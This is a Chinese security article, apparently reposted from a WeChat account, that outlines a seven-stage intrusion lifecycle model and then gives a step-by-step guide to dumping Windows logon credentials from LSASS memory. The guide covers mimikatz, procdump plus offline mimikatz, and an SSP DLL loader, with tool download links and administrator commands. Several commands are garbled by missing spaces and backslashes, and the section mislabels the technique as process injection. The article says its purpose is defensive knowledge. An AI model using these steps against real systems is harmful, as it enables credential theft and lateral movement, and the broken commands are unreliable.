美创科技为了更好地进行入侵检测和防御,参照各种安全威胁框架和自身的实践与思考,提出了基于入侵生命周期的攻击管理模型,作为美创新一代安全架构的三大支柱之一。
入侵生命周期v1.0把入侵过程划分为7个阶段:探索发现、入侵和感染、探索感知、传播、持久化、攻击和利用、恢复。入侵生命周期v1.0同样以ATT&CK作为基本战术知识库,匹配到不同的入侵阶段。需要注意的是,并非所有的入侵都会经历这7个阶段,也没有绝对的线性次序。
1、探索发现
在这个阶段中,攻击者会先锁定攻击对象,然后利用某些技术手段,尽可能多地获取目标暴露出来的信息,如通过端口扫描、指纹探测等方式,发现敏感端口及版本信息,进而寻找攻击点,为下一步入侵做准备。
2、入侵和感染
在这个阶段,攻击者会根据“探索发现”阶段所发现的重要信息,来对目标暴露出的攻击面进行攻击尝试,在“探索发现”阶段收集到的信息越多,攻击对象所暴露的攻击面也就越多,攻击更易成功。
3、探索感知
攻击者在成功进入系统内部后,由于是首次进入所以会出现对内部环境不熟悉的情况,这时攻击者的动作一般会是对当前所处环境进行探索,摸清内部大致的网络结构,常常伴随着被入侵本机的敏感信息收集以及对内网大量的端口进行扫描,后续根据攻击者的目的进行下一步操作。
4、传播
在此阶段,攻击者根据上一阶段在内网探索感知收集到的信息,选择特定的攻击手法。如若发现内部是域环境,攻击者可能会尝试先攻破域控服务器,再传播其他机器。若是工作组环境,可能会利用收集到的端口和服务信息,选择特定漏洞进行批量扫描攻击,来尽可能多地继续获得其他计算机的控制权。
5、持久化
攻击者在对资产进行恶意操作后,为了能够减少再次连接的攻击成本,方便下次进入,会进行“留后门”的操作,常见的后门如:建立计划任务,定时连接远程服务器;设置开机启动程序,在每次开机时触发执行特定恶意程序;新建系统管理员账号等。这样便于攻击者下次快速登录并控制该系统。
6、攻击和利用
攻击者在此阶段便会开始对目标资产进行恶意操作,按照攻击者意愿,对能利用的数据进行窃取、利用;对操作系统、敏感文件进行破坏、删除。所有的防御手段都应该极力阻止攻击者进行到这一阶段。
7、恢复
攻击者在执行所有的攻击操作时,往往会在系统上留下大量的行为日志,因此在这一阶段,攻击者会对记录自身痕迹的所有日志进行处理,或删除或混淆,从而消灭证据,逃避追踪。
本系列文章基于美创科技入侵生命周期1.0架构,细分各阶段攻击者的常用攻击手段,并对相关攻击手段的具体实施方式进行逐一剖析,为安全防御建设提供有力知识补充和反制准备。
Linux系统和Windows系统都会将操作系统的登录凭证存储在本地。Linux系统的话可以在/etc/passwd和/etc/shadow两个文件中直接读取到登录凭证。而Windows系统的话需要依靠lsass.exe程序,lsass.exe是一个系统进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略。lsass.exe会随着系统启动而自动启动,可以从lsass.exe进程内存中读取到Windows系统的登录凭证。
从攻击者的角度来分析,利用操作系统凭证转储技术,攻击者可能会尝试从操作系统和软件中转储凭据以获取帐户登录名和凭据材料,通常以哈希或明文密码的形式,然后可以使用凭证执行横向移动并访问受限制的信息。
根据攻击者的入侵流程和操作手段,利用操作系统凭证转储技术进行攻击在入侵过程的攻击执行阶段,可以帮助攻击者在入侵成功后执行恶意操作,从入侵生命周期角度分析,进程注入攻击可作用于传播阶段、攻击和利用阶段、持久化阶段。在传播阶段,攻击者通过获取操作系统凭证,进行横向爆破以获取使用相同凭证的主机控制权限。
从攻击行为链条的上下文来看,针对操作系统凭证转储的行为链条输入输出如下:
-
输入:转储凭证的工具、执行的操作和命令
-
输出:操作系统明文和哈希凭证
根据不同攻击思路,攻击者利用操作系统凭证转储进行攻击的手法通常有8种:
上述8中攻击手法中最常用的LSASSMemory,LSASS Memory中有三种常用的凭证转储技术。
(1)mimikatz读取lsass进程内存解密获取明文密码
该方法是直接将mimikatz放置在受害机器上读取lsass进程内存解密获取明文密码。
下载mimikatz并放置到目标机器上
https://github.com/gentilkiwi/mimikatz/releases
在目标机器上以管理员身份打开cmd并运行以下命令
mimikatz.exe privilege::debugsekurlsa::logonpasswords exit > pass.txt
在当前目录下会生成pass.txt文件,其中包含获取到的明文账户密码。
(2)procdump dump lsass进程内存
该方式不直接利用mimikatz获取lsass进程中的凭据,而是先在受害主机上使用procdump dump lsass进程中的内存,再将dump下来的内存文件直接使用mimikatz进行解密获取明文密码,或者拷贝到攻击者本机上再使用mimikatz进行解密获取明文密码。
下载procdump并放置到目标机器上
https://download.sysinternals.com/files/Procdump.zip
在目标机器上以管理员身份打开cmd并运行以下命令
procdump64.exe -accepteula -ma lsass.exelsass.dmp
将lsass.dmp拷贝到攻击者本机后,在本机打开cmd并运行以下命令
mimikatz.exe "sekurlsa::minidumplsass.dmp" "sekurlsa::logonPasswords full" exit > pass.txt
在当前目录下会生成pass.txt文件,其中包含获取到的明文账户密码。
(3)RPC加载SSPdump lsass进程内存
利用lsass自身绝对可以读自己内存的特点,通过RPC调用添加一个SSP dll,加载dll到lsass进程然后dump内存。
下载ssp注入工具并放置到目标机器上
https://pan.baidu.com/s/1KbCTVGQtVZUwpJmGguI6Vw提取码: dqk4
在目标机器上以管理员身份打开cmd并运行以下命令
loader.exeC:Userswin7Desktoploaderssp.dll
在C:WindowsTemp目录下会生成一个temp.bin文件
将temp.bin拷贝到攻击者本机后,在本机打开cmd并运行以下命令
mimikatz.exe "sekurlsa::minidumptemp.bin" "sekurlsa::logonPasswords full" exit > pass.txt
在当前目录下会生成pass.txt文件,其中包含获取到的明文账户密码
原文始发于微信公众号(第59号):《入侵生命周期细分实践指南系列》:操作系统凭证转储攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论